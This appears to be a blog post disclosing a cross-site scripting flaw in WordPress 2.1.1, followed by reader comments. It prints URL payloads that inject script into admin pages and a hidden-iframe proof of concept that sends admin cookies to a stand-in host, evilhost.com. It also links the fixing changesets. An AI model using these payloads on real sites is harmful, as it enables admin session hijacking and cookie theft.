, its free!




Zeroday Exploit found for WordPress 2.1.1

A vulnerability has been identified in WordPress, which could be exploited by attackers to execute arbitrary scripting code to compromise the admin account.

Here are some examples of arbitrary code execution:

http://somesite.com/wp-admin/comment.php?action=deletecomment&p=35&c='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://somesite.com/wp-admin/comment.php?action=deletecomment&p=39&c='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Here is a proof-of-concept code to steal the admin cookies:

 <iframe width="0" height="0" src="http://somesite.com/wp-admin/post.php?action=delete&post=%27%3E%3Cscript%3Eimage=document.createElement(%27img%27);image.src=%27http://evilhost.com/datagrabber.php?cookie=%27%2bdocument.cookie;%3C/script%3E%3Clol=%27″></iframe>

Solution:

http://trac.wordpress.org/changeset/4951
http://trac.wordpress.org/changeset/4952

[via Luis Cosio]
Original Source

Spread the word: Del.icio.us it   Digg it   Submit to Reddit   Submit to Blinklist   Add to Netscape   Furl it   Sphere It Help Yourself:   RSS comments   RSS posts   trackback trackback

8 Responses to “Zeroday Exploit found for WordPress 2.1.1”

  1. neelakantankk Says:

    Is this only for self hosted sites? or does it apply to wordpress hosted sites also?

  2. Sunny Says:

    It sure didn’t work on your blog ;)

  3. neelakantankk Says:

    and did it work on..say…preshit’s blog? ;-)

  4. Sunny Says:

    Nope. Preshit’s blogs are hosted on the same server as my sites. And by default, the permissions seem to disallow unauthorized access to files. We’re safe! :)

  5. Preshit Says:

    *phew*

  6. Omkar Says:

    I’m safe :)

  7. Joel Says:

    Am i safe???? I think so….

    http://gotechno.org/

  8. alex Says:

    hi nice site.

Leave a Reply